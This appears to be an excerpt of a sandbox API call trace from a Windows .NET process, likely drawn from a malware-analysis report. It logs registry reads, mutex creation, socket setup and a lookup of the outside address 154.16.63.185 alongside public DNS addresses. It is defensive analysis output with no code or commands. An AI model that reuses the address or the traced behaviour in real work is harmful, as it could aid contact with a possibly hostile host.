[0193.046] RegQueryValueExW (in: hKey=0x2ec, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x18e780, lpData=0x0, lpcbData=0x18e77c*=0x0 | out: lpType=0x18e780*=0x4, lpData=0x0, lpcbData=0x18e77c*=0x4) returned 0x0
[0193.046] RegQueryValueExW (in: hKey=0x2ec, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x18e780, lpData=0x18e76c, lpcbData=0x18e77c*=0x4 | out: lpType=0x18e780*=0x4, lpData=0x18e76c*=0x20000, lpcbData=0x18e77c*=0x4) returned 0x0
[0193.046] RegQueryValueExW (in: hKey=0x2ec, lpValueName="Counter Names", lpReserved=0x0, lpType=0x18e780, lpData=0x0, lpcbData=0x18e77c*=0x0 | out: lpType=0x18e780*=0x3, lpData=0x0, lpcbData=0x18e77c*=0xaa) returned 0x0
[0193.046] RegQueryValueExW (in: hKey=0x2ec, lpValueName="Counter Names", lpReserved=0x0, lpType=0x18e780, lpData=0x245367c, lpcbData=0x18e77c*=0xaa | out: lpType=0x18e780*=0x3, lpData=0x245367c*, lpcbData=0x18e77c*=0xaa) returned 0x0
[0193.048] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1
[0193.048] GetLastError () returned 0x0
[0193.050] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x6126b8, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20000, lpName="Global\\netfxcustomperfcounters.1.0.net clr networking") returned 0x2f0
[0193.050] GetLastError () returned 0x0
[0193.051] MapViewOfFile (hFileMappingObject=0x2f0, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x5250000
[0193.052] VirtualQuery (in: lpAddress=0x5250000, lpBuffer=0x18e750, dwLength=0x1c | out: lpBuffer=0x18e750*(BaseAddress=0x5250000, AllocationBase=0x5250000, AllocationProtect=0x4, RegionSize=0x20000, State=0x1000, Protect=0x4, Type=0x40000)) returned 0x1c
[0193.052] GetLastError () returned 0x0
[0193.052] LocalFree (hMem=0x682ee8) returned 0x0
[0193.053] RegCloseKey (hKey=0x2ec) returned 0x0
[0193.053] GetVersionExW (in: lpVersionInformation=0x6126a0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x6126a0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
[0193.053] GetLastError () returned 0x0
[0193.053] GetVersionExW (in: lpVersionInformation=0x6126a0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x6126a0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
[0193.053] GetLastError () returned 0x0
[0193.055] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x24540e4, cbSid=0x18e730 | out: pSid=0x24540e4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x18e730) returned 1
[0193.055] GetLastError () returned 0x0
[0193.055] CreateMutexW (lpMutexAttributes=0x245421c, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x2ec
[0193.055] GetLastError () returned 0x0
[0193.056] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0x1f4) returned 0x0
[0193.056] GetLastError () returned 0x0
[0193.056] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x24543f0, cbSid=0x18e6f0 | out: pSid=0x24543f0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x18e6f0) returned 1
[0193.056] GetLastError () returned 0x0
[0193.056] CreateMutexW (lpMutexAttributes=0x2454500, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x0
[0193.056] GetLastError () returned 0x5
[0193.057] OpenMutexW (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Global\\.net clr networking") returned 0x2f4
[0193.057] GetLastError () returned 0x5
[0193.057] GetProcessTimes (in: hProcess=0x2f4, lpCreationTime=0x18e6f4, lpExitTime=0x18e6ec, lpKernelTime=0x18e6ec, lpUserTime=0x18e6ec | out: lpCreationTime=0x18e6f4, lpExitTime=0x18e6ec, lpKernelTime=0x18e6ec, lpUserTime=0x18e6ec) returned 1
[0193.057] GetLastError () returned 0x5
[0193.057] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2454e08, cbSid=0x18e730 | out: pSid=0x2454e08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x18e730) returned 1
[0193.057] GetLastError () returned 0x5
[0193.058] CreateMutexW (lpMutexAttributes=0x2454f18, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x2ec
[0193.058] GetLastError () returned 0x0
[0193.058] ReleaseMutex (hMutex=0x2ec) returned 1
[0193.058] GetLastError () returned 0x0
[0193.058] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x245569c, cbSid=0x18e730 | out: pSid=0x245569c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x18e730) returned 1
[0193.058] GetLastError () returned 0x0
[0193.058] CreateMutexW (lpMutexAttributes=0x24557ac, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x2ec
[0193.058] GetLastError () returned 0x0
[0193.058] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2455f34, cbSid=0x18e730 | out: pSid=0x2455f34*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x18e730) returned 1
[0193.058] GetLastError () returned 0x0
[0193.059] CreateMutexW (lpMutexAttributes=0x2456044, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x2ec
[0193.059] GetLastError () returned 0x0
[0193.059] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x24567c4, cbSid=0x18e730 | out: pSid=0x24567c4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x18e730) returned 1
[0193.059] GetLastError () returned 0x0
[0193.059] CreateMutexW (lpMutexAttributes=0x24568d4, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x2ec
[0193.059] GetLastError () returned 0x0
[0193.059] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2457050, cbSid=0x18e728 | out: pSid=0x2457050*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x18e728) returned 1
[0193.059] GetLastError () returned 0x0
[0193.060] CreateMutexW (lpMutexAttributes=0x2457160, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x2ec
[0193.060] GetLastError () returned 0x0
[0193.060] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x24578e8, cbSid=0x18e728 | out: pSid=0x24578e8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x18e728) returned 1
[0193.060] GetLastError () returned 0x0
[0193.060] CreateMutexW (lpMutexAttributes=0x24579f8, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x2ec
[0193.060] GetLastError () returned 0x0
[0193.060] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x245815c, cbSid=0x18e728 | out: pSid=0x245815c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x18e728) returned 1
[0193.060] GetLastError () returned 0x0
[0193.060] CreateMutexW (lpMutexAttributes=0x245826c, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x2ec
[0193.061] GetLastError () returned 0x0
[0193.061] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x24589e0, cbSid=0x18e728 | out: pSid=0x24589e0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x18e728) returned 1
[0193.061] GetLastError () returned 0x0
[0193.061] CreateMutexW (lpMutexAttributes=0x2458af0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x2ec
[0193.061] GetLastError () returned 0x0
[0193.061] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x245925c, cbSid=0x18e728 | out: pSid=0x245925c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x18e728) returned 1
[0193.061] GetLastError () returned 0x0
[0193.061] CreateMutexW (lpMutexAttributes=0x245936c, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x2ec
[0193.061] GetLastError () returned 0x0
[0193.265] inet_addr (cp="8.8.8.8") returned 0x8080808
[0193.265] GetLastError () returned 0x0
[0193.266] inet_addr (cp="8.8.4.4") returned 0x4040808
[0193.266] GetLastError () returned 0x0
[0193.597] inet_addr (cp="154.16.63.185") returned 0xb93f109a
[0193.597] GetLastError () returned 0x0
[0193.641] GetCurrentProcess () returned 0xffffffff
[0193.641] GetLastError () returned 0x3f0
[0193.641] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18d2e4 | out: TokenHandle=0x18d2e4*=0x2ec) returned 1
[0193.641] GetLastError () returned 0x3f0
[0193.647] GetCurrentProcess () returned 0xffffffff
[0193.647] GetLastError () returned 0x3f0
[0193.647] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18d2f4 | out: TokenHandle=0x18d2f4*=0x2f4) returned 1
[0193.647] GetLastError () returned 0x3f0
[0193.658] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x2f8
[0193.658] GetLastError () returned 0x0
[0193.813] setsockopt (s=0x2f8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0193.813] GetLastError () returned 0x0
[0194.049] bind (s=0x2f8, addr=0x24db00c*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0
[0194.049] GetLastError () returned 0x0
[0194.052] WSAIoctl (in: s=0x2f8, dwIoControlCode=0xc8000006, lpvInBuffer=0x18e8ac, cbInBuffer=0x10, lpvOutBuffer=0x18e8c0, cbOutBuffer=0x4, lpcbBytesReturned=0x18e8bc, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x18e8c0, lpcbBytesReturned=0x18e8bc, lpOverlapped=0x0) returned 0
[0194.052] GetLastError () returned 0x0
[0194.067] PeekMessageW (in: lpMsg=0x18f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18f204) returned 0
[0194.068] PeekMessageW (in: lpMsg=0x18f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18f204) returned 0
[0194.068] WaitMessage ()
Thread:
id = 14
os_tid = 0x0
Thread:
id = 15
os_tid = 0xb00
Thread:
id = 16
os_tid = 0xb04
[0150.629] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0187.702] RegCloseKey (hKey=0x1f0) returned 0x0
[0187.703] LocalFree (hMem=0x650700) returned 0x0
[0187.703] GetLastError () returned 0x0
[0187.703] RegCloseKey (hKey=0x200) returned 0x0
[0187.703] RegCloseKey (hKey=0x204) returned 0x0
[0187.703] LocalFree (hMem=0x6506f0) returned 0x0
[0187.703] GetLastError () returned 0x0
[0187.703] CloseHandle (hObject=0x22c) returned 1
[0187.703] GetLastError () returned 0x0
[0187.703] CloseHandle (hObject=0x224) returned 1
[0187.704] GetLastError () returned 0x0
[0187.704] CloseHandle (hObject=0x1f4) returned 1
[0187.704] GetLastError () returned 0x0
[0194.707] CloseHandle (hObject=0x2e4) returned 1
[0194.707] GetLastError () returned 0x0
[0194.708] CloseHandle (hObject=0x2ec) returned 1
[0194.708] GetLastError () returned 0x0
[0194.708] CloseHandle (hObject=0x2e0) returned 1
[0194.708] GetLastError () returned 0x0
[0194.708] CloseHandle (hObject=0x2dc) returned 1
[0194.708] GetLastError () returned 0x0
[0194.708] CloseHandle (hObject=0x2d8) returned 1
[0194.708] GetLastError () returned 0x0
[0194.709] CloseHandle (hObject=0x2d0) returned 1
[0194.709] GetLastError () returned 0x0
[0194.709] CloseHandle (hObject=0x2d4) returned 1
[0194.709] GetLastError () returned 0x0
[0194.709] CloseHandle (hObject=0x2cc) returned 1
[0194.709] GetLastError () returned 0x0
[0194.717] CloseHandle (hObject=0x2f4) returned 1
[0194.717] GetLastError () returned 0x0
[0194.717] CloseHandle (hObject=0x2e8) returned 1
[0194.717] GetLastError () returned 0x0
Thread:
id = 17
os_tid = 0xb08
[0162.187] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.219] SetConsoleCtrlHandler (HandlerRoutine=0x59863a, Add=1) returned 1
[0162.220] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0162.220] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0162.242] GetClassInfoW (in: hInstance=0x400000, lpClassName=".NET-BroadcastEventWindow.2.0.0.0.378734a.0", lpWndClass=0x22fa3d0 | out: lpWndClass=0x22fa3d0) returned 0
[0162.245] CoTaskMemAlloc (cb=0x58) returned 0x650a10
[0162.245] RegisterClassW (lpWndClass=0x667378) returned 0xc134
[0162.245] GetLastError () returned 0x583
[0162.245] CoTaskMemFree (pv=0x650a10)
[0162.246] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.2.0.0.0.378734a.0", lpWindowName=".NET-BroadcastEventWindow.2.0.0.0.378734a.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x60132
[0162.247] NtdllDefWindowProc_W () returned 0x1
[0162.248] NtdllDefWindowProc_W () returned 0x0
[0162.248] NtdllDefWindowProc_W () returned 0x0
[0162.248] NtdllDefWindowProc_W () returned 0x0
[0162.248] NtdllDefWindowProc_W () returned 0x0
[0162.248] GetLastError () returned 0x0
[0162.276] SetEvent (hEvent=0x1b0) returned 1
[0162.277] GetLastError () returned 0x0
[0162.310] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0162.422] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0162.547] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0162.672] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0162.796] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0162.921] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0163.049] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0163.171] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0163.561] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0163.732] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0163.857] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0163.983] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0164.107] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0164.231] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0164.356] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0164.481] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0164.606] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0164.731] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0164.856] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0164.980] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0165.105] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0165.230] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0165.355] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0165.480] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0165.604] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0165.729] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0165.854] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0165.979] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0166.104] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0166.228] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0166.353] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0166.478] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0166.603] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0166.728] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0166.852] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0166.978] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0167.102] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0167.227] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0167.351] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0167.476] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0167.618] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0167.741] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0167.866] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0167.991] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0168.117] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0168.241] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0168.365] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0168.490] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0168.615] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0168.740] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0168.865] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0168.989] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0169.114] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0169.239] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0169.364] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0169.489] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0169.630] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0169.754] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0169.879] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0170.003] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0170.134] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0170.253] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0170.378] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0170.503] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0170.627] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0170.752] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0170.877] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0171.007] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0171.127] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0171.252] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0171.408] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0172.094] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0172.389] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0172.499] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0172.624] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0172.749] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0172.874] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0172.999] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0173.124] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0173.357] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0173.482] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0173.607] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0173.732] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0173.857] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
